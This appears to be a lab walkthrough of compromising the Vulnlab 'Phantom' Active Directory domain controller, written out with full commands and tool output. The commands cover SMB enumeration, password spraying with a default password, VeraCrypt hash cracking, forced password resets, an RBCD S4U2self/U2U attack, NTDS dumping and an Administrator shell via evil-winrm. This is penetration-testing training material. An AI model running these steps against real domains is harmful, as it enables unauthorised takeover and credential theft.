VL-Phantom

Initial Reconnaissance

First, I performed a port scan to identify available services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory 
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory 
3269/tcp  open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: PHANTOM
|   NetBIOS_Domain_Name: PHANTOM
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: phantom.vl
|   DNS_Computer_Name: DC.phantom.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-04-05T12:12:58+00:00
5357/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49672/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49673/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49681/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49714/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49839/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

The open ports reveal this is a Windows domain controller (phantom.vl) with typical Active Directory services running, including SMB, Kerberos, LDAP, and WinRM.

Initial Access

I started by exploring SMB shares accessible with the guest account:

1
netexec smb phantom.vl -u 'guest' -p '' --shares

Guest SMB Share Access
I discovered a publicly accessible share that I could connect to:

1
smbclient //10.10.122.37/Public -U guest
1
get tech_support_email.eml

Public Share Contents

Extracting User Information

I examined the email file for potential user accounts:

1
strings tech_support_email.eml

Email Analysis
Two possible users were identified:

1
2
alucas@phantom.vl
techsupport@phantom.vl

The email also contained an embedded PDF with onboarding instructions. I extracted it using:

1
munpack tech_support_email.eml

PDF Information
The PDF revealed a potential default password used during employee onboarding: Ph4nt0m@5t4rt!

User Enumeration

Using the null session access, I was able to enumerate all domain users:

1
impacket-lookupsid phantom.vl/guest@10.10.122.37 -target-ip 10.10.122.37 -no-pass

User list obtained:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Administrator
Guest
krbtgt
DC$
svc_sspr
rnichols
pharrison
wsilva
elynch
nhamilton
lstanley
bbarnes
cjones
agarcia
ppayne
ibryant
ssteward
wstewart
vhoward
crose
twright
fhanson
cferguson
alucas
ebryant
vlynch
ghall
ssimpson
ccooper
vcunningham

Password Spraying

I performed a password spray using the default onboarding password:

1
netexec smb phantom.vl -u usernames.txt -p 'Ph4nt0m@5t4rt!' --continue-on-success

Successful Password Spray
I found one user who hadn’t changed their default password:

1
ibryant:Ph4nt0m@5t4rt!

Privilege Escalation Path

Using the compromised account, I checked for additional share access:

1
netexec smb phantom.vl -u ibryant -p 'Ph4nt0m@5t4rt!' --shares

Additional Share Access
I now had access to the “Departments Share” as well as NETLOGON and SYSVOL. I explored the new share:

1
smbclient //10.10.122.37/'Departments Share' -U ibryant

Departments Share Contents
I attempted to download all files recursively:

1
2
3
recurse ON
prompt OFF
mget *

This failed due to large files in the IT share, so I specifically targeted the backup file:

1
smbclient //10.10.122.37/'Departments Share' -U ibryant -c 'timeout 120; iosize 16384; get \IT\Backup\IT_BACKUP_201123.hc'

Cracking the Encrypted Backup

The backup file was encrypted with VeraCrypt. To crack it, I first extracted the hash:

1
dd if=./it.hc of=./hash bs=512 count=1

I attempted to crack it with standard wordlists:

1
hashcat -m 13722 -a 0 hash /usr/share/wordlists/rockyou.txt

When that failed, I created a custom wordlist and rule file:

1
2
3
4
5
6
7
8
9
10
11
12
cat phantom.txt
phantom
Phantom
PHANTOM
PHANT0M
phant0m
phantom.vl
PHANTOM.VL
phant0m.vl
PHANT0M.vl
Ph4nt0m
PH4NT0M
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat phantom.rule 
$2 $0 $2 $3 $$
$2 $0 $2 $3 $&
$2 $0 $2 $3 $@
$2 $0 $2 $3 $!
$2 $0 $2 $3 $#
$2 $0 $2 $3 $%
$2 $0 $2 $3 $^
$2 $0 $2 $3 $*
$2 $0 $2 $3 $(
$2 $0 $2 $3 $)
$2 $0 $2 $3 $-
$2 $0 $2 $3 $_
$2 $0 $2 $3 $=
$2 $0 $2 $3 $+

I ran hashcat with the custom wordlist and rules:

1
hashcat -a 0 -m 13721 it.hc phantom.txt -r phantom.rule

Cracked Hash

The password was cracked:

1
it.hc:<NOPE>

Analyzing Encrypted Contents

I mounted the encrypted volume:

1
veracrypt it.hc

VeraCrypt Mount
After searching through the files, I found credentials for user lstanley in /config/config.boot:

1
2
3
4
5
6
7
8
9
10
vpn {
    sstp {
        authentication {
            local-users {
                username lstanley {
                    password "PASS"
                }
            }
            mode "local"
        }

Further Account Compromise

I checked if any service accounts used the same password:

1
netexec smb phantom.vl -u usernames.txt -p '' --shares --continue-on-success

Service Account Access
I confirmed we had WinRM access with these credentials:

1
netexec winrm phantom.vl -u svc_sspr -p ''

BloodHound Analysis

I used BloodHound to map potential attack paths:

1
netexec ldap 10.10.108.178 -u svc_sspr -p '' --bloodhound --dns-server 10.10.108.178 -c All --dns-tcp

ForceChangePassword Permission
I discovered that users in the ICT Security group had AddAllowedToAct permissions:
Attack Path
I checked if we could add new computers to the domain:

1
netexec ldap 10.10.108.178 -u svc_sspr -p 'PASS' -M maq

The result showed MachineAccountQuota: 0, meaning we couldn’t add new computer accounts.

Compromising Additional Users

Using the ForceChangePassword privilege, I reset passwords for several users:

1
net rpc password "crose" "newP@ssword2022" -U "phantom.vl"/"svc_sspr"%'PASS' -S DC.phantom.vl
1
net rpc password "wsilva" "newP@ssword2022" -U "phantom.vl"/"svc_sspr"%'PASS' -S DC.phantom.vl
1
net rpc password "rnichols" "newP@ssword2022" -U "phantom.vl"/"svc_sspr"%'PASS' -S DC.phantom.vl

I checked if any of these users could add machines to the domain:

1
netexec ldap 10.10.108.178 -u usernames-p 'newP@ssword2022' -M maq

None of them had this privilege.

Resource-Based Constrained Delegation (RBCD) Attack

Since we couldn’t add computer accounts, I had to leverage RBCD on SPN-less users. The process involves:

  1. Obtaining a TGT for the SPN-less user allowed to delegate to a target and retrieving the TGT session key
  2. Changing the user’s password hash to match the TGT session key
  3. Combining S4U2self and U2U to obtain a service ticket to the target on behalf of a more privileged user
  4. Using the ticket to access the target as the delegated user

I chose to use the wsilva account for this attack:

1
impacket-rbcd -delegate-from 'wsilva' -delegate-to 'DC$' -dc-ip '10.10.108.178' -action 'write' 'phantom.vl'/'wsilva':'newP@ssword2022'

RBCD Configuration
Next, I obtained a TGT through overpass-the-hash to use RC4:

1
impacket-getTGT -hashes :$(pypykatz crypto nt 'newP@ssword2022') 'phantom.vl'/'wsilva'
1
export KRB5CCNAME=wsilva.ccache

I extracted the TGT session key:

1
2
impacket-describeTicket wsilva.ccache | grep 'Ticket Session Key'
[*] Ticket Session Key            : 08d09e30adcdade32338f3241b5b183d

Then I changed the user’s NT hash to match the TGT session key:

1
impacket-changepasswd -newhashes :08d09e30adcdade32338f3241b5b183d 'phantom.vl'/'wsilva':'newP@ssword2022'@'DC.phantom.vl'

Password Change
With this setup complete, I obtained a delegated service ticket through S4U2self+U2U, followed by S4U2proxy:

1
impacket-getST -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/DC.phantom.vl" 'phantom.vl'/'wsilva'

Administrator Ticket
I set the Kerberos ticket for use:

1
export KRB5CCNAME=Administrator@cifs_DC.phantom.vl@PHANTOM.VL.ccache

Finally, I was able to access domain controller resources as Administrator:

1
nxc smb DC.phantom.vl --use-kcache --ntds

And establish a shell with the compromised Administrator hash:

1
evil-winrm -i phantom.vl -u Administrator -H <HASH>

https://api.vulnlab.com/api/v1/share?id=3c11f61d-bbef-4060-a25c-218e7e931b55